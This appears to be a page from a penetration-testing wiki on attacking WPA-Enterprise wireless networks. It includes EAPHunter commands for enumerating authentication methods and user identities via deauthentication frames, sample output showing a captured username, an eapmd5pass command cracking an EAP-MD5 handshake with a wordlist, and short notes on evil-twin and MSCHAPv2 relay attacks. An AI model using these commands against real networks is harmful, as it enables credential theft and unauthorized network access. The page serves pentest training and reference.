Ctrlk
For the complete documentation index, see llms.txt. This page is also available as Markdown.

WPA-Enterprise

WPA-Enterprise handles authentication via a RADIUS server. Clients connect to the AP, coordinate encryption and authentication methods, and then the client submits a username/password combo or authentication certificate. The AP forwards to the RADIUS server for authentication.

Identify Authentication Methods

An important step is to understand which EAP authentication methods are in use by the SSID. Observe handshakes and analyze them in Wireshark or EAPHunter:

sudo python3 eaphunter.py authmethods -e <SSID> -i <iface> [-s <secs>] [-t <secs>] [-o <dir>]

You can also check specific authentication methods supported for each user identity. Some users might support weaker, cleartext password protocols.

sudo python3 eaphunter.py checkuser -e <SSID> -i <iface> -I <identity> [--cleartext] [-o <dir>]            … SUPPORTED

Outer PEAP Identities

If PMKID caching is disabled (or has a very low TTL), we can deauthenticate or snoop on users to examine outer PEAP handshakes. These contain unencrypted PEAP outer identities, and can reveal usernames or domains.

 eaphunter.py userenum -e <SSID> -i <interface> [-c <secs>] [-o <dir>]
  [!] Sending deauth frames  ->  6c:40:08:bb:23:f7
  [+] EAP Identity  : jsmith@htb-corp.local
  [+] Pcap saved: eap_handshake_6c4008bb23f7.pcap  (847 packets)

EAP-MD5

EAP-MD5 can be trivially cracked provided you have observed an EAPOL handshake.

echo 776b900e685dea0230b41eec2010535c | sed 's/\(..\)/\1:/g;s/:$//'
Request Challenge = -C, Response Challenge = -R, Request ID = -E, Identity = -U
eapmd5pass -w /opt/rockyou.txt -U administrator -C 77:6b:90:0e:68:5d:ea:02:30:b4:1e:ec:20:10:53:5c -R 05:4e:a5:87:06:a5:2f:0c:95:fc:47:cc:f1:1e:b5:a1 -E 173

Evil Twin Attack

You can use EAPHammer to launch a malicious AP and intercept hashed or even cleartext credentials, depending on EAPOL methods in use.

Relaying EAP-MSCHAPv2

EAP-MSCHAPv2 relies upon Net-NTLMv1 which is vulnerable to relay attacks. You can directly forward PEAP authentication to the targeted AP and achieve an authenticated session.

PreviousWPA-PSKNextModbus

Last updated